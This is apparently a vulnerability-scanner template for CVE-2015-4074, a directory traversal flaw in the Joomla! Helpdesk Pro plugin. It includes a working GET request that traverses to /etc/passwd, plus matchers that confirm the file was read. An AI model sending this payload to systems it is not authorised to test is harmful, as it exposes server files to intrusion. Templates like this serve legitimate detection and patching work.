id: CVE-2015-4074

info:
  name: Joomla! Helpdesk Pro plugin <1.4.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Directory traversal vulnerability in the Helpdesk Pro plugin before 1.4.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter in a ticket.download_attachment task.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Upgrade to Joomla! Helpdesk Pro plugin version 1.4.0 or later to fix the local file inclusion vulnerability.
  reference:
    - https://packetstormsecurity.com/files/132766/Joomla-Helpdesk-Pro-XSS-File-Disclosure-SQL-Injection.html
    - https://www.exploit-db.com/exploits/37666/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4074
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4074
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-4074
    cwe-id: CWE-22
    epss-score: 0.5651
    epss-percentile: 0.98962
    cpe: cpe:2.3:a:helpdesk_pro_project:helpdesk_pro:*:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: helpdesk_pro_project
    product: helpdesk_pro
    framework: joomla\!
  tags: cve2015,cve,lfi,packetstorm,edb,joomla,plugin,helpdesk_pro_project,joomla\!,xss,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?option=com_helpdeskpro&task=ticket.download_attachment&filename=/../../../../../../../../../../../../etc/passwd&original_filename=AnyFileName.exe"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ab7afb55a498282f932cf2a70491ac5bc0bcb83dcd42822f5cc887190d6ac31d022100d62ba9a4adf5f72fcc0206fcababd88b4fc4e43a041dfe7a484633aa8af9a078:922c64590222798bb761d5b6d8e72950